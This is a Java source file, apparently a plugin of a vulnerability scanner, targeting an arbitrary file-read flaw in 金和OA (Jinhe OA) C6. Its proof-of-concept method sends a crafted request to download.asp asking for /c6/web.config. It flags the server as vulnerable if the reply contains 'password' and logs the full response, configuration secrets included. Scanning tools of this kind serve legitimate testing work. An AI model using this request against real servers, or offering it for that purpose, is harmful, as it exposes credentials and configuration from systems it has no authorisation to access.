content: package com.achuna33.Controllers;
  
  import com.achuna33.SupportType.Poc_Exp;
  import com.achuna33.SupportType.SupportVul;
  import com.achuna33.Utils.Cache;
  import com.achuna33.Utils.HttpRequest;
  import com.achuna33.Utils.Response;
  
  import java.net.MalformedURLException;
  
  @BasicMapping(uri="金和OA")
  public class JhSoftController extends Controller implements BasicController{
      public JhSoftController(){}
  
      @VulnerabilityDescriptionMapping(Description = "金和OA C6 download.jsp 任意文件读取漏洞",SupportVulType = SupportVul.信息泄露)
      public void vul_DownLoadFile(Poc_Exp type, String target,Object... args) throws MalformedURLException {
          WriteLog("\n开始检测：  vul_DownLoadFile");
  
          switch (type){
              case EXP:
                  break;
              case POC:
                  HttpRequest httpRequest = new HttpRequest(target+"/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config");
                  String data = "";
                  Response result = httpRequest.Get(data);
                  if(result.responseBody.contains("password") && result.statusCode==200){
                      WriteLog(" 存在漏洞");
                  }else {
                      WriteLog(" 不存在漏洞");
                  }
                  WriteLog("\n"+result.responseBody);
          }
      }
  }
  